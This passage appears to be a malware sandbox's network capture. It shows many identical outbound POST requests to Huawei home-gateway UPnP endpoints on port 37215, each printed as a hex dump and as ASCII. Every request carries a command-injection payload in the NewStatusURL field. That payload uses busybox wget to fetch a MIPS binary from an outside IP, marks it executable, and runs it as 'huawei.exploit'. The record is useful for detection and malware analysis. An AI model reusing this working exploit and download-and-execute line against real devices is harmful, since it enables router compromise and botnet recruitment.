2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:32.803702116 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.23	56952	156.254.85.32	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.334382057 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:04.903599024 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:06.759351969 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:10.534816027 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:17.957768917 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:32.803713083 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.23	49608	156.235.102.72	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.497047901 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 